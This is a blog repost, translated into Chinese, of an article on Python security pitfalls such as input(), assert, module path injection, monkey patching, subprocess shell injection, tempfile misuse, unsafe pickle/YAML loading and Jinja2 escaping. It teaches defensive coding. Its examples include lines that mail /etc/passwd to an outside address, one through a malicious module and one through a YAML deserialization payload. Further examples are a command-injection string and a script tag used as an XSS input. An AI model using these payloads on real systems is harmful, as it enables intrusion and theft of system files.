?

Sep 14 2016

關于Python漏洞挖掘那些不得不提的事兒

首頁 » 滲透測試 » 關于Python漏洞挖掘那些不得不提的事兒   

1.png

前言


Python因其在開發更大、更復雜應用程序方面獨特的便捷性,使得它在計算機環境中變得越來越不可或缺。雖然其明顯的語言清晰度和使用友好度使得軟件工程師和系統管理員放下了戒備,但是他們的編碼錯誤還是有可能會帶來嚴重的安全隱患。

這篇文章的主要受眾是還不太熟悉Python的人,其中會提及少量與安全有關的行為以及有經驗開發人員遵循的規則。


輸入函數

在Python2強大的內置函數中,輸入函數完全就是一個大的安全隱患。一旦調用輸入函數,任何從stdin中讀取的數據都會被認定為Python代碼: 

1
2
3
4
5
6
7
 $ python2
    >>> input()
    dir()
    ['__builtins__', '__doc__', '__name__', '__package__']
   >>> input()
   __import__('sys').exit()
   $

  顯然,只要腳本stdin中的數據不是完全可信的,輸入函數就是有危險的。Python 2 文件將 raw_input 認定為一個安全的選擇。在Python3中,輸入函數相當于是 raw_input,這樣就可以完全修復這一問題。


assert語句

  還有一條使用 assert 語句編寫的代碼語句,作用是捕捉 Python 應用程序中下一個不可能條件。

1
2
3
def verify_credentials(username, password):
       assert username and password, 'Credentials not supplied by caller'
       ... authenticate possibly null user with null password ...

然而,Python在編譯源代碼到優化的字節代碼 (如 python-O) 時不會有任何的assert 語句說明。這樣的移除使得程序員編寫用來抵御攻擊的代碼保護都形同虛設。

這一弱點的根源就是assert機制只是用于測試,就像是c++語言中那樣。程序員必須使用其他手段才能確保數據的一致性。


可重用整數

  在Python中一切都是對象,每一個對象都有一個可以通過 id 函數讀取的唯一標示符。可以使用運算符弄清楚是否有兩個變量或屬性都指向相同的對象。整數也是對象,所以這一操作實際上是一種定義:

1
2
>>> 999+1 is 1000
    False

上述操作的結果可能會令人大吃一驚,但是要提醒大家的是這樣的操作是同時使用兩個對象標示符,這一過程中并不會比較它們的數值或是其它任何值。但是:

1
2
>>> 1+1 is 2
    True

對于這種行為的解釋就是Python當中有一個對象集合,代表了最開始的幾百個整數,并且會重利用這些整數以節省內存和對象創建。更加令人疑惑的就是,不同的Python版本對于“小整數”的定義是不一樣的。

這里所指的緩存永遠不會使用運算符進行數值比較,運算符也專門是為了處理對象標示符。


浮點數比較

處理浮點數可能是一件更加復雜的工作,因為十進制和二進制在表示分數的時候會存在有限精度的問題。導致混淆的一個常見原因就是浮點數對比有時候可能會產生意外的結果。下面是一個著名的例子:

1
2
>>> 2.2 * 3.0 == 3.3 * 2.0
   False

這種現象的原因是一個舍入錯誤:

1
2
3
4
>>> (2.2 * 3.0).hex()
   '0x1.a666666666667p+2'
   >>> (3.3 * 2.0).hex()
   '0x1.a666666666666p+2'

另一個有趣的發現就是Python float 類型支持無限概念。一個可能的原因就是任何數都要小于無限:

1
2
>>> 10**1000000 > float('infinity')
   False

但是在Python3中,有一種類型的對象不支持無限:

1
2
 >>> float > float('infinity')
   True

一個最好的解決辦法就是堅持使用整數算法,還有一個辦法就是使用十進制內核模塊,這樣可以為用戶屏蔽煩人的細節問題和缺陷。

一般來說,只要有任何算術運算就必須要小心舍入錯誤。詳情可以參閱 Python 文檔中的《發布和局限性》一章。


私有屬性

Python 不支持隱藏的對象屬性。但還有一種變通方法,那就是基于特征的錯位雙下劃線屬性。雖然更改屬性名稱只會作用于代碼,硬編碼到字符串常量的屬性名稱仍未被修改。雙下劃線屬性明顯"隱藏在" getattr()/hasattr() 函數時可能會導致混亂的行為。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
   >>> class X(object):
   ...   def __init__(self):
   ...     self.__private = 1
   ...   def get_private(self):
   ...     return self.__private
   ...   def has_private(self):
   ...     return hasattr(self, '__private')
   ... 
   >>> x = X()
   >>>
   >>> x.has_private()
   False
   >>> x.get_private()
   1

此隱藏屬性功能不適用于沒有類定義的屬性,這有效地在引用中“分裂”了任何給定的屬性:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
   >>> class X(object):
   ...   def __init__(self):
   ...     self.__private = 1
   >>>
   >>> x = X()
   >>>
   >>> x.__private
   Traceback
   ...
   AttributeError: 'X' object has no attribute '__private'
   >>>
   >>> x.__private = 2
   >>> x.__private
   2
   >>> hasattr(x, '__private')
   True

如果一個程序員過度依賴自己的代碼而不關注私有屬性的不對稱雙下劃線屬性,有可能會造成極大的安全隱患。


模塊注入

Python 模塊注入系統是強大而復雜的。在搜索路徑中找到由 sys.path 列表定義的文件或目錄名稱可以導入模塊和包。搜索路徑初始化是一個復雜的過程,這一過程依賴于 Python 版本、 平臺和本地配置。要在一個 Python 應用程序上實行一次成功攻擊,攻擊者需要找到方式將惡意 Python 模塊放入目錄或可注入的包文件,以確保Python 可能會在嘗試導入模塊時“中招”。

解決方法是保持對所有目錄和軟件包文件搜索路徑的安全訪問權限,以確保未經授權的用戶沒有訪問權限。需要記住的是,最初腳本調用 Python 解釋器所在的目錄會自動插入到搜索路徑。

運行類似于下面的腳本顯示實際的搜索路徑︰

1
2
3
4
5
$ cat myapp.py
   #!/usr/bin/python
   import sys
   import pprint
   pprint.pprint(sys.path)

Python 程序的當前工作目錄被注入的搜索路徑是在 Windows 平臺上,而不是腳本位置 。在 UNIX 平臺上,每當從 stdin 或命令行讀取程序代碼 ("-"或"-c"或"-m"選項)時,當前的工作目錄都會自動插入到 sys.path :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$ echo "import sys, pprint; pprint.pprint(sys.path)" | python -
   ['',
    '/usr/lib/python3.3/site-packages/pip-7.1.2-py3.3.egg',
    '/usr/lib/python3.3/site-packages/setuptools-20.1.1-py3.3.egg',
    ...]
   $ python -c 'import sys, pprint; pprint.pprint(sys.path)'
   ['',
    '/usr/lib/python3.3/site-packages/pip-7.1.2-py3.3.egg',
    '/usr/lib/python3.3/site-packages/setuptools-20.1.1-py3.3.egg',
    ...]
   $
   $ cd /tmp
   $ python -m myapp
   ['',
    '/usr/lib/python3.3/site-packages/pip-7.1.2-py3.3.egg',
    '/usr/lib/python3.3/site-packages/setuptools-20.1.1-py3.3.egg',
    ...]

通過命令行在 Windows 或通過代碼上運行 Python的一個優先建議就是,明確從當前工作目錄更改到一個安全目錄時存在的模塊注入風險。

搜索路徑的另一個可能來源是 $PYTHONPATH 環境變量的內容。從過程環境對 sys.path 的方便緩存是通過 Python 解釋器,因為它會忽視 $PYTHONPATH 變量的-E 選項。


導入代碼執行

雖然看得不明顯,但是導入語句實際上會導致正在導入模塊中的代碼執行。這就是為什么即使只是導入不信任模塊都是有風險的。導入一個下面這種的簡單模塊都可能會導致不愉快的后果︰

1
2
3
4
5
6
7
8
9
10
 $ cat malicious.py
   import os
   import sys
   os.system('cat /etc/passwd | mail [email protected]')
   del sys.modules['malicious']  # pretend it's not imported
   $ python
   >>> import malicious
   >>> dir(malicious)
   Traceback (most recent call last):
   NameError: name 'malicious' is not defined

如果攻擊者結合 sys.path 條目注入進行攻擊,就有可能進一步破解系統。


猴子補丁

在運行時更改Python 對象屬性的過程被稱為猴子補丁。Python 是一種動態語言,完全支持在運行時更改程序和代碼。一旦惡意模塊通過某種方式進入其中,任何現有的可變對象都有可能在不知不覺中被惡意修改。考慮以下情況︰ 

1
2
3
4
5
6
7
$ cat nowrite.py
   import builtins
   def malicious_open(*args, **kwargs):
      if len(args) > 1 and args[1] == 'w':
         args = ('/dev/null',) + args[1:]
      return original_open(*args, **kwargs)
   original_open, builtins.open = builtins.open, malicious_open

如果上面的代碼被 Python 解釋器執行,那么一切寫入文件都不會被存儲到文件系統中︰

1
2
3
4
5
6
7
 >>> import nowrite
   >>> open('data.txt', 'w').write('data to store')
   5
   >>> open('data.txt', 'r')
   Traceback (most recent call last):
   ...
   FileNotFoundError: [Errno 2] No such file or directory: 'data.txt'

攻擊者可以利用 Python 垃圾回收器 (gc.get_objects()) 掌握所有現有對象,并破解任意對象。

在 Python 2中, 內置對象可以通過魔法 __builtins__ 模塊進行訪問。一個已知的手段就是利用 __builtins__ 的可變性,這可能引起巨大災難︰ 

1
2
3
4
5
  >>> __builtins__.False, __builtins__.True = True, False
   >>> True
   False
   >>> int(True)
   0

在 Python 3中, 對真假的賦值不起作用,所以攻擊者不能操縱這種方式進行攻擊。

函數在 Python 中是一類對象,它們保持對許多函數屬性的引用。尤其是通過 __code__ 屬性引用可執行字節碼,當然,可以對這一屬性進行修改︰ 

1
2
3
4
5
6
7
8
9
10
11
  >>> import shutil
   >>>
   >>> shutil.copy
   <function copy at 0x7f30c0c66560>
   >>> shutil.copy.__code__ = (lambda src, dst: dst).__code__
   >>>
   >>> shutil.copy('my_file.txt', '/tmp')
   '/tmp'
   >>> shutil.copy
   <function copy at 0x7f30c0c66560>
   >>>

一旦應用上述的猴子修補程序,盡管 shutil.copy 函數看上去仍然可用,但其實它已經默默地停止工作了,這是因為沒有 op lambda 函數代碼為它設置。

Python 對象的類型是由 __class__ 屬性決定的。邪惡的攻擊者可能會改變現有對象的類型來“搞破壞”:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
  >>> class X(object): pass
   ... 
   >>> class Y(object): pass
   ... 
   >>> x_obj = X()
   >>> x_obj
   <__main__.X object at 0x7f62dbe5e010>
   >>> isinstance(x_obj, X)
   True
   >>> x_obj.__class__ = Y
   >>> x_obj
   <__main__.Y object at 0x7f62dbe5d350>
   >>> isinstance(x_obj, X)
   False
   >>> isinstance(x_obj, Y)
   True
   >>>

針對惡意猴子修補唯一的解決方法就是確保導入的Python 模塊是真實完整的 。


通過子進程進行外殼注入

Python也被稱為是一種膠水語言,所以對于Python腳本來說,將系統管理任務委派給其他程序通過詢問操作系統來執行它們是很常見的,這樣的過程還可能會提供額外的參數。對于這樣的任務來說,提供子進程模塊會更易于使用:

1
2
3
4
5
 >>> from subprocess import call
   >>>
   >>> unvalidated_input = '/bin/true'
   >>> call(unvalidated_input)
   0

但這里面有蹊蹺!為了使用 UNIX 外殼服務(如擴展命令行參數),殼關鍵字調用函數的參數應該變成真。然后調用函數的第一個參數作為傳遞,以方便系統外殼進一步進行分析和解釋。一旦調用函數 (或其他子進程模塊中實現的函數)獲得未經驗證的用戶輸入,底層系統資源就變得無遮無攔了。

1
2
3
4
5
6
7
8
9
10
11
  >>> from subprocess import call
   >>>
   >>> unvalidated_input = '/bin/true'
   >>> unvalidated_input += '; cut -d: -f1 /etc/passwd'
   >>> call(unvalidated_input, shell=True)
   root
   bin
   daemon
   adm
   lp
   0

顯然更安全的做法就是將外殼關鍵字保持在其默認的虛假狀態,并且提供一個命令向量和子進程函數參數,這樣就可以不引用 UNIX 外殼執行外部命令。在第二次的調用形式中,外殼程序不會擴展其參數或是指令。

1
2
3
  >>> from subprocess import call
   >>>
   >>> call(['/bin/ls', '/tmp'])

如果應用程序的性質決定必須使用 UNIX 外殼服務,那么保證一切子流程沒有多余的外殼功能可以被惡意用戶加以利用是十分重要。在較新的 Python 版本中,標準庫中的 shlex.quote 函數可以應對外殼逃逸。


臨時文件

雖然只有對臨時文件的不當使用才會引起編程語言故障,但是在 Python 腳本中存在驚人的相似情況,所以還是值得一提的。

這種漏洞可能會導致對文件系統訪問權限的不安全利用,其中可能會涉及到中間步驟,最終導致數據機密性或完整性的安全問題。一般問題的詳細描述可以在 CWE 377中找到。

幸運的是,Python 附帶的標準庫中有臨時文件模塊,它會提供可以"以最安全的方式"創建臨時文件名稱的高級函數。不過 tempfile.mktemp 執行還是有缺陷的,因為庫的向后兼容性問題仍然存在。還有一點,那就是永遠不要使用 tempfile.mktemp 功能,而是在不得不使用文件的時候使用臨時文件、TemporaryFile 或 tempfile.mkstemp 。

意外引入一個缺陷的另一種可能性是使用 shutil.copyfile 函數。這里的問題是該目標文件可能是以最不安全的方式創建的。

精通安全的開發人員可能會考慮首先將源文件復制到隨機的臨時文件名稱,然后以最終名稱重命名臨時文件。雖然這可能看起來像是一個好主意,但是如果由 shutil.move 函數執行重命名就還是不安全的。問題就是,如果臨時文件沒有創建在最終文件存儲的文件系統,那么 shutil.move 將無法以原子方式 (通過 os.rename) 移動它,只會默認將其移動到不安全的 shutil.copy。解決辦法就是使用 os.rename 而不是 shutil.move os.rename,因為這注定沒辦法跨越文件系統邊界。

進一步的并發隱患就是 shutil.copy 無法復制所有文件元數據,這可能會導致創建的文件不受保護。

不僅限于 Python,所有的語言中都要小心修改遠程文件系統上的文件類型。數據一致性保證往往會很據文件訪問序列化的不同而產生差異。舉例來說,NFSv2 不承認開放系統調用的 O_EXCL 標示符,但這是創建原子文件的關鍵。


不安全的反序列化

存在許多數據序列化方法,其中Pickle的具體目的是序列化 Python 對象。其目標是將可用的 Python 對象轉儲到八位字節流以供存儲或傳輸,然后將其重建到另一個 Python 實例。重建步驟本身就存在風險,因為這可能會導致序列化的數據被篡改。Pickle的不安全性是公認的,Python 文檔中也明確指出了。

作為一種流行的配置文件格式,YAML 有時候也被看作一種強大的序列化協議,能夠誘騙反序列化程序執行任意代碼。更危險的是 Python-PyYAML 事實上默認 YAML 執行看似無害的反序列化︰

1
2
3
4
5
6
7
8
9
  >>> import yaml
   >>>
   >>> dangerous_input = """
   ... some_option: !!python/object/apply:subprocess.call
   ...   args: [cat /etc/passwd | mail [email protected]]
   ...   kwds: {shell: true}
   ... """
   >>> yaml.load(dangerous_input)
   {'some_option': 0}

建議的修復方法就是永遠都使用 yaml.safe_load 來處理你不能信任的 YAML 序列化。盡管如此,考慮其他序列化庫傾向于使用轉儲/加載函數名稱來滿足類似用途,當前的PyYAML 默認還是感覺有點挑釁意味。


模塊化引擎

Web 應用程序的作者很久以前就開始使用Python了 ,過去十年開發出了大量的 Web 框架。很多人開始利用模板引擎生成動態 web 內容。除了 web 應用程序,模板引擎還在一些完全不同的軟件中找到了自己存在的價值,比如說安塞波它自動化工具。

從靜態模板和運行變量中呈現內容時,還是存在通過運行變量進行用戶控制代碼注入的風險。成功安裝的 web 應用程序攻擊可能會導致跨站點腳本漏洞。針對服務器端模板注入攻擊的通常解決辦法是在進入最終文件之前清除模板變量內容,具體做法就是否認、 剝離對于給定標記或其他特定于域的語言而言任何的奇怪轉義字符。

不幸的是,模板化引擎不能保證更加嚴格的安全性。現在最常用的做法中沒有一種默認使用轉義機制,主要依靠的還是開發人員對風險的認識。

例如現在最流行的工具之一,Jinja2所呈現的一切︰

1
2
3
4
5
6
7
8
9
10
11
 >>> from jinja2 import Environment
   >>>
   >>> template = Environment().from_string('')
   >>> template.render(variable='<script>do_evil()</script>')
   '<script>do_evil()</script>'
  ......除非多種可能的轉義機制中存在一種可以通過改變其默認設置來顯現:
   >>> from jinja2 import Environment
   >>>
   >>> template = Environment(autoescape=True).from_string('')
   >>> template.render(variable='<script>do_evil()</script>')
   '<script>do_evil()</script>'

更復雜的問題是,在某些使用情況下,程序員不想清除所有的模板變量,而是需要保持其中一些成分不變。這就需要引入"篩選器"模板化引擎地址,能夠讓程序員選擇需要清除的個體變量內容。Jinja2 還在每個模板的基礎上提供了一種切換默認逃逸值的選項。

如果開發人員避開了一個語言標記集合,那么代碼就會變得更加不安全,可能會導致攻擊者直接進入最終文件。


結語


這篇博客不是為了列出Python中存在的所有潛在陷阱和缺陷,而是為了大家提高對于安全風險的認識,希望編程變得更加愉快、生活更加安全。

本文由 安全客 翻譯,轉載請注明“轉自安全客”,并附上鏈接。
原文鏈接:https://access.redhat.com/blogs/766093/posts/2592591

 

如果您喜歡本博客,歡迎點擊圖片定訂閱到郵箱填寫您的郵件地址,訂閱我們的精彩內容:

正文部分到此結束

文章標簽: Python漏洞挖掘

版權聲明:若無特殊注明,本文皆為( mOon )原創,轉載請保留文章出處。

也許喜歡: «哈勃發布七月威脅情報:Gh0st后門木馬變種肆虐 | SugarCRM 6.5.23 - REST PHP Object Injection漏洞分析»

你腫么看?

你還可以輸入 250/250 個字

? 微笑 大笑 拽 大哭 親親 流汗 噴血 奸笑 囧 不爽 暈 示愛 害羞 吃驚 驚嘆 愛你 嚇死了 呵呵

評論信息框

這篇文章還沒有收到評論,趕緊來搶沙發吧~

?
?
河北11选5开奖